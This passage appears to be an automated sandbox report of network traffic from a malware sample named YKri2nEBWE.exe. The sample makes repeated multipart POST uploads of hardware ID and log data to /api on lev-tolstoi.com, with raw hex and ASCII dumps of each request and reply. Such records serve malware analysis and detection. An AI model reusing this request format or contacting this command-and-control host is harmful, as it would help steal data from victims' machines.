qpwD1XDk1XK4a4VLfyjSZTJKlJ+fpUFseNmI0ZvnVmeLvUv1JemMSixz6WdWIDJ9Gl6kyqvIMSF45a3U0s5jWqu5Yshw5XAuPW8BS24YGjAKD7Cjn8RICBnFjfDu815ng50X4SHFjH5YW8VHZgAuXTJiqOKz9GEJfOy46fr7A2LKpdPVIdGJesRr7X9KeQYUMheI2q7ZGAlI4bn80vdif5+xD9Ud0ahaKHvFd3IUHmkWYpyOi/xJOHn8ucyb5gN
2024-12-26 12:09:30 UTC	1369	IN	Data Raw: 73 68 77 35 5a 42 57 57 46 2f 74 59 32 49 34 4a 6e 55 79 52 71 54 65 73 38 52 6c 45 55 7a 6c 6a 63 54 32 34 33 4a 4c 34 36 6b 76 34 53 58 4d 74 55 73 51 65 37 52 47 4e 79 43 61 57 61 34 79 35 49 37 47 32 41 51 78 48 63 57 6c 34 66 75 47 59 6d 2b 58 67 54 2f 70 4d 64 6d 49 59 69 68 2f 7a 58 4e 43 48 43 34 68 4b 6b 71 38 36 71 50 30 4d 51 6c 4d 31 59 6e 41 32 73 74 4c 59 70 4b 6c 48 36 67 51 68 4c 53 6d 4a 46 76 56 53 77 38 67 65 31 46 76 63 70 54 33 6e 72 6c 35 4f 55 44 46 68 65 44 4b 79 30 4a 6e 6d 35 30 66 33 54 58 46 6c 44 6f 55 64 2f 56 44 62 68 77 43 65 52 35 6d 6d 4e 71 50 77 45 51 49 51 63 57 6c 73 66 75 47 59 74 38 33 63 41 74 4e 2b 4f 58 4a 53 6e 56 6e 79 58 5a 58 51 51 5a 5a 42 6b 4b 6f 2b 6f 66 38 53 53 46 63 36 59 6e 38 36 74 64 47 64 37 4f 68 Data Ascii: shw5ZBWWF/tY2I4JnUyRqTes8RlEUzljcT243JL46kv4SXMtUsQe7RGNyCaWa4y5I7G2AQxHcWl4fuGYm+XgT/pMdmIYih/zXNCHC4hKkq86qP0MQlM1YnA2stLYpKlH6gQhLSmJFvVSw8ge1FvcpT3nrl5OUDFheDKy0Jnm50f3TXFlDoUd/VDbhwCeR5mmNqPwEQIQcWlsfuGYt83cAtN+OXJSnVnyXZXQQZZBkKo+of8SSFc6Yn86tdGd7Oh
2024-12-26 12:09:30 UTC	1369	IN	Data Raw: 32 6f 56 6c 68 66 34 58 74 32 41 43 4a 74 47 6d 61 38 33 71 2f 77 66 52 56 41 2f 5a 6a 52 77 2b 64 2b 41 71 72 45 41 30 31 52 69 66 77 71 4a 4f 50 68 65 6c 5a 64 50 67 77 4b 62 72 6e 48 2f 74 68 64 51 57 6a 78 38 66 54 6d 33 31 35 76 34 36 45 33 35 56 6e 35 69 47 49 4d 56 38 31 37 54 69 51 53 51 54 70 75 6e 4f 71 6a 36 58 67 77 65 4e 6e 59 30 5a 76 6e 32 6b 2f 6e 2b 51 2f 78 50 62 33 5a 63 6d 31 66 73 45 64 4b 45 51 63 49 43 6e 36 6b 36 6f 2f 59 53 51 6c 6f 38 62 6d 59 78 76 74 2b 52 34 66 74 4b 39 55 4e 79 5a 52 65 4c 48 2b 64 64 32 35 6f 45 69 46 44 63 37 48 47 67 37 6c 34 61 48 67 64 70 5a 43 36 36 6d 71 6e 38 36 6c 62 35 53 58 55 74 41 38 6f 41 74 56 62 5a 79 46 6e 61 52 4a 4f 72 4d 71 6a 33 46 30 35 54 4e 47 64 78 50 37 2f 63 6b 75 44 70 52 76 52 46 Data Ascii: 2oVlhf4Xt2ACJtGma83q/wfRVA/ZjRw+d+AqrEA01RifwqJOPhelZdPgwKbrnH/thdQWjx8fTm315v46E35Vn5iGIMV817TiQSQTpunOqj6XgweNnY0Zvn2k/n+Q/xPb3Zcm1fsEdKEQcICn6k6o/YSQlo8bmYxvt+R4ftK9UNyZReLH+dd25oEiFDc7HGg7l4aHgdpZC66mqn86lb5SXUtA8oAtVbZyFnaRJOrMqj3F05TNGdxP7/ckuDpRvRF
2024-12-26 12:09:30 UTC	1369	IN	Data Raw: 51 65 2b 52 47 4e 79 41 4b 64 51 5a 32 6f 4f 4b 76 35 47 55 5a 4d 4f 32 6c 6d 50 37 6a 54 6c 65 62 70 54 66 39 4f 65 47 51 52 69 42 54 79 56 74 71 4e 51 64 51 43 6d 37 70 78 2f 37 59 2f 54 31 55 39 4e 53 35 2b 70 70 61 42 71 75 35 4d 73 68 77 35 62 52 61 42 45 2f 68 53 32 6f 73 54 6d 30 53 4f 6f 6a 79 74 35 42 52 4a 57 7a 78 6a 65 54 32 2f 33 70 50 6d 2b 30 6e 79 52 33 49 74 55 73 51 65 37 52 47 4e 79 43 4b 4e 56 4a 61 6c 50 62 48 39 48 30 46 49 50 48 34 30 63 50 6e 4a 6e 2f 75 70 47 4f 52 55 62 6d 6f 44 79 67 43 31 56 74 6e 49 57 64 70 45 6c 61 51 32 6f 66 67 4d 52 31 67 2b 59 58 30 33 76 64 43 62 36 75 31 45 39 55 46 36 59 52 65 44 47 76 70 56 33 49 59 49 6c 51 4c 53 34 6a 61 2f 74 6b 59 43 66 79 70 74 65 44 50 35 78 39 62 7a 71 55 66 2b 42 43 45 74 45 Data Ascii: Qe+RGNyAKdQZ2oOKv5GUZMO2lmP7jTlebpTf9OeGQRiBTyVtqNQdQCm7px/7Y/T1U9NS5+ppaBqu5Mshw5bRaBE/hS2osTm0SOojyt5BRJWzxjeT2/3pPm+0nyR3ItUsQe7RGNyCKNVJalPbH9H0FIPH40cPnJn/upGORUbmoDygC1VtnIWdpElaQ2ofgMR1g+YX03vdCb6u1E9UF6YReDGvpV3IYIlQLS4ja/tkYCfypteDP5x9bzqUf+BCEtE
2024-12-26 12:09:30 UTC	1369	IN	Data Raw: 61 77 34 30 47 6a 41 43 70 6f 54 2b 70 38 51 67 43 51 51 34 67 4e 44 47 6a 6d 4d 44 54 38 41 44 31 53 44 6b 31 58 4a 45 65 39 56 62 50 6e 67 61 57 55 35 65 76 50 59 58 35 47 56 52 64 50 6d 31 6c 4e 2f 58 54 6c 61 71 6e 41 50 56 63 4f 54 56 63 71 78 37 6a 55 76 71 4c 45 4a 4d 43 30 75 49 32 73 62 5a 47 41 6d 42 78 66 48 63 75 75 74 65 4a 31 4b 6b 59 36 33 6f 35 5a 67 71 44 43 66 5a 48 33 6f 55 4e 69 33 7a 63 2b 6d 58 31 70 45 77 51 44 43 34 75 61 77 48 33 6d 4a 6d 71 73 58 6e 72 42 47 38 74 52 4e 5a 58 74 55 4f 56 30 45 48 64 51 59 36 77 4e 36 54 67 48 51 56 67 44 30 6c 69 4e 4c 37 49 6e 2f 33 6d 41 4c 77 45 64 69 31 45 76 56 6e 38 56 73 36 5a 46 35 64 53 6d 2b 49 4f 36 62 59 47 41 67 5a 78 57 33 63 77 74 39 2b 4f 2b 36 52 6e 35 45 35 2b 66 52 75 54 46 72 Data Ascii: aw40GjACpoT+p8QgCQQ4gNDGjmMDT8AD1SDk1XJEe9VbPngaWU5evPYX5GVRdPm1lN/XTlaqnAPVcOTVcqx7jUvqLEJMC0uI2sbZGAmBxfHcuuteJ1KkY63o5ZgqDCfZH3oUNi3zc+mX1pEwQDC4uawH3mJmqsXnrBG8tRNZXtUOV0EHdQY6wN6TgHQVgD0liNL7In/3mALwEdi1EvVn8Vs6ZF5dSm+IO6bYGAgZxW3cwt9+O+6Rn5E5+fRuTFr
2024-12-26 12:09:30 UTC	1369	IN	Data Raw: 43 70 70 46 6a 4c 51 71 36 2f 34 64 57 45 51 50 55 46 38 79 76 39 2b 43 37 65 39 6d 30 67 51 33 4c 52 50 45 51 63 77 52 6e 63 67 2b 31 41 4b 45 34 6d 6e 6e 77 78 31 4d 55 44 5a 34 5a 58 4f 52 2b 36 4c 51 71 32 7a 31 55 54 74 5a 47 35 51 49 2f 6c 7a 5a 79 45 2f 61 52 4e 7a 36 59 65 6d 32 47 6c 4d 65 61 54 34 6d 5a 65 79 4c 7a 37 71 37 58 37 78 64 4f 58 74 63 33 45 75 37 45 63 66 49 57 64 6f 46 6e 37 41 6a 6f 66 55 49 51 52 6b 50 55 46 4d 77 76 74 6d 4f 2b 76 35 50 7a 48 70 73 62 68 4b 4b 48 75 4e 41 6c 63 5a 42 6c 51 4c 45 6d 33 48 76 74 69 45 4d 48 69 6b 75 4c 48 36 4d 32 35 62 6b 37 6c 62 6a 43 56 35 6a 47 34 55 50 35 55 62 61 79 45 2f 61 52 4e 7a 36 59 2b 6d 32 47 6c 4d 65 61 54 34 6d 5a 65 79 4c 7a 37 71 37 58 37 78 64 4f 58 74 63 33 45 75 37 45 63 66 Data Ascii: CppFjLQq6/4dWEQPUF8yv9+C7e9m0gQ3LRPEQcwRncg+1AKE4mnnwx1MUDZ4ZXOR+6LQq2z1UTtZG5QI/lzZyE/aRNz6Yem2GlMeaT4mZeyLz7q7X7xdOXtc3Eu7EcfIWdoFn7AjofUIQRkPUFMwvtmO+v5PzHpsbhKKHuNAlcZBlQLEm3HvtiEMHikuLH6M25bk7lbjCV5jG4UP5UbayE/aRNz6Y+m2GlMeaT4mZeyLz7q7X7xdOXtc3Eu7Ecf
2024-12-26 12:09:30 UTC	1369	IN	Data Raw: 59 71 68 63 65 6d 32 45 67 49 47 63 57 39 2b 4c 72 54 58 6e 36 62 75 57 76 55 45 4e 79 30 53 78 45 47 31 55 4e 2b 59 44 4a 56 46 30 4b 51 2f 71 62 59 42 44 45 64 78 65 44 52 6d 36 70 62 59 2b 4b 6b 59 73 67 4e 36 66 77 36 43 47 75 4e 53 6b 72 59 2f 74 31 43 62 73 6a 4c 6c 78 78 4e 47 53 43 52 74 5a 44 6d 48 35 72 58 34 37 6c 44 78 42 6b 68 37 48 34 51 58 38 68 47 62 79 42 6e 61 47 74 79 50 49 36 44 6d 48 51 49 51 63 57 49 30 5a 76 6e 56 69 75 33 35 51 37 35 44 59 32 70 63 6d 31 66 73 45 63 50 49 57 63 6b 4d 33 4c 42 78 2f 37 5a 5a 54 46 4d 77 62 58 6f 39 71 38 71 65 36 66 39 44 74 58 70 48 51 41 36 44 43 66 59 54 35 49 55 46 6a 46 65 66 73 6a 61 5a 79 44 4e 51 57 53 46 74 4e 68 4b 2b 31 5a 54 55 31 33 66 6a 51 32 6b 76 4f 6f 63 50 39 68 47 62 79 42 6e 61 Data Ascii: Yqhcem2EgIGcW9+LrTXn6buWvUENy0SxEG1UN+YDJVF0KQ/qbYBDEdxeDRm6pbY+KkYsgN6fw6CGuNSkrY/t1CbsjLlxxNGSCRtZDmH5rX47lDxBkh7H4QX8hGbyBnaGtyPI6DmHQIQcWI0ZvnViu35Q75DY2pcm1fsEcPIWckM3LBx/7ZZTFMwbXo9q8qe6f9DtXpHQA6DCfYT5IUFjFefsjaZyDNQWSFtNhK+1ZTU13fjQ2kvOocP9hGbyBna

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	172.67.157.254	443	6460	C:\Users\user\Desktop\YKri2nEBWE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:09:32 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KXFK18MULF3J User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12805 Host: lev-tolstoi.com
2024-12-26 12:09:32 UTC	12805	OUT	Data Raw: 2d 2d 4b 58 46 4b 31 38 4d 55 4c 46 33 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 42 44 44 37 42 34 37 37 45 32 44 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4b 58 46 4b 31 38 4d 55 4c 46 33 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 58 46 4b 31 38 4d 55 4c 46 33 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4b 58 46 4b 31 38 4d 55 Data Ascii: --KXFK18MULF3JContent-Disposition: form-data; name="hwid"CBDD7B477E2DD198BEBA0C6A975F1733--KXFK18MULF3JContent-Disposition: form-data; name="pid"2--KXFK18MULF3JContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--KXFK18MU
2024-12-26 12:09:36 UTC	1129	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q4aji8hmknsavhos07kmnbcfj1; expires=Mon, 21 Apr 2025 05:56:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ca61AaKr3tD%2Bclhl9Jxa8wEc8frziceRVhQqBUZM1M1EeTlslN5C5oUQ%2Bimlu%2FsMLjGbMORTkDBAsiBzwrDNCP%2FK4GPSOPDHXyZkw2FEfSWUR7Fm45YFIPumSb03Dd2Dlxg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80f66c6e2c0c9e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1760&min_rtt=1696&rtt_var=764&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13738&delivery_rate=1320669&cwnd=32&unsent_bytes=0&cid=8b710f8e4df3ca60&ts=3403&x=0"
2024-12-26 12:09:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:09:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49709	172.67.157.254	443	6460	C:\Users\user\Desktop\YKri2nEBWE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:09:37 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VKT7L0W22DT4VG3WF7N User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15089 Host: lev-tolstoi.com
2024-12-26 12:09:37 UTC	15089	OUT	Data Raw: 2d 2d 56 4b 54 37 4c 30 57 32 32 44 54 34 56 47 33 57 46 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 42 44 44 37 42 34 37 37 45 32 44 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 56 4b 54 37 4c 30 57 32 32 44 54 34 56 47 33 57 46 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 4b 54 37 4c 30 57 32 32 44 54 34 56 47 33 57 46 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --VKT7L0W22DT4VG3WF7NContent-Disposition: form-data; name="hwid"CBDD7B477E2DD198BEBA0C6A975F1733--VKT7L0W22DT4VG3WF7NContent-Disposition: form-data; name="pid"2--VKT7L0W22DT4VG3WF7NContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-26 12:09:38 UTC	1127	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qtbvik64mr1auh2trah6fa7u37; expires=Mon, 21 Apr 2025 05:56:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sSFrmOdt05I9css%2BxdCbq3ll16j6trBqXl30hImvf%2B4rNTX7YETZ3B4w2e7E05unM3l0JLQt3TV6LnFOD5tvGX5lMIo9tIB5%2FmgwoLCRgztXNhJDcYDP6x86rCqY71iKGMY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80f68abefd32ca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1964&min_rtt=1924&rtt_var=801&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2835&recv_bytes=16029&delivery_rate=1301247&cwnd=221&unsent_bytes=0&cid=6b19a7bb2f9ab54a&ts=993&x=0"
2024-12-26 12:09:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:09:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49717	172.67.157.254	443	6460	C:\Users\user\Desktop\YKri2nEBWE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:09:40 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GMDSDS57JOWEY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20543 Host: lev-tolstoi.com
2024-12-26 12:09:40 UTC	15331	OUT	Data Raw: 2d 2d 47 4d 44 53 44 53 35 37 4a 4f 57 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 42 44 44 37 42 34 37 37 45 32 44 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 47 4d 44 53 44 53 35 37 4a 4f 57 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 47 4d 44 53 44 53 35 37 4a 4f 57 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 47 4d 44 53 44 Data Ascii: --GMDSDS57JOWEYContent-Disposition: form-data; name="hwid"CBDD7B477E2DD198BEBA0C6A975F1733--GMDSDS57JOWEYContent-Disposition: form-data; name="pid"3--GMDSDS57JOWEYContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--GMDSD
2024-12-26 12:09:40 UTC	5212	OUT	Data Raw: 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 Data Ascii: F3Wun 4F([:7s~X`nO`i
2024-12-26 12:09:41 UTC	1138	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rqgnka1hi58i193d4616b2eik1; expires=Mon, 21 Apr 2025 05:56:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dG%2BresSCpYZpH%2BJgkJogWNW086Z%2BOMak%2BiOchPfKsyxJ3PQUzWW0zfkUttgjw%2BrxNj6gX6HbLg9j4l%2FmForgK4c4XFWjdkhq%2BkVuiUyLrrXX%2BuxGRfvpfBYHqg39b3h00IQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80f69dbad843c8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1579&rtt_var=617&sent=19&recv=26&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21499&delivery_rate=1738095&cwnd=192&unsent_bytes=0&cid=930a85ea18d5e0ac&ts=1024&x=0"
2024-12-26 12:09:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:09:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49729	172.67.157.254	443	6460	C:\Users\user\Desktop\YKri2nEBWE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:09:43 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6D1VSVWUV9B0Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1217 Host: lev-tolstoi.com
2024-12-26 12:09:43 UTC	1217	OUT	Data Raw: 2d 2d 36 44 31 56 53 56 57 55 56 39 42 30 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 42 44 44 37 42 34 37 37 45 32 44 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 36 44 31 56 53 56 57 55 56 39 42 30 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 44 31 56 53 56 57 55 56 39 42 30 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 44 31 56 53 Data Ascii: --6D1VSVWUV9B0QContent-Disposition: form-data; name="hwid"CBDD7B477E2DD198BEBA0C6A975F1733--6D1VSVWUV9B0QContent-Disposition: form-data; name="pid"1--6D1VSVWUV9B0QContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--6D1VS
2024-12-26 12:09:44 UTC	1122	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fmjeeo8huct6947f4vbhdlhkek; expires=Mon, 21 Apr 2025 05:56:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hp%2Bg8eX%2FYwn24OnN6Q4FQxh3emYydlgy2Em7HOHb7BdsjapYstCEhxSJRmFFFrTm9BLADTZhQIRSvwncZfWg9RmdO1C4D9HJbc2adjcKkofKPzAWZb44YheM0FzVtSRCQH4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80f6b0adf44297-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1724&min_rtt=1720&rtt_var=654&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2128&delivery_rate=1660978&cwnd=245&unsent_bytes=0&cid=2ada217dbcbfb15d&ts=804&x=0"
2024-12-26 12:09:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:09:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49736	172.67.157.254	443	6460	C:\Users\user\Desktop\YKri2nEBWE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:09:46 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D4K1U7QC7LXR63 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572733 Host: lev-tolstoi.com
2024-12-26 12:09:46 UTC	15331	OUT	Data Raw: 2d 2d 44 34 4b 31 55 37 51 43 37 4c 58 52 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 42 44 44 37 42 34 37 37 45 32 44 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 44 34 4b 31 55 37 51 43 37 4c 58 52 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 34 4b 31 55 37 51 43 37 4c 58 52 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 44 34 Data Ascii: --D4K1U7QC7LXR63Content-Disposition: form-data; name="hwid"CBDD7B477E2DD198BEBA0C6A975F1733--D4K1U7QC7LXR63Content-Disposition: form-data; name="pid"1--D4K1U7QC7LXR63Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--D4
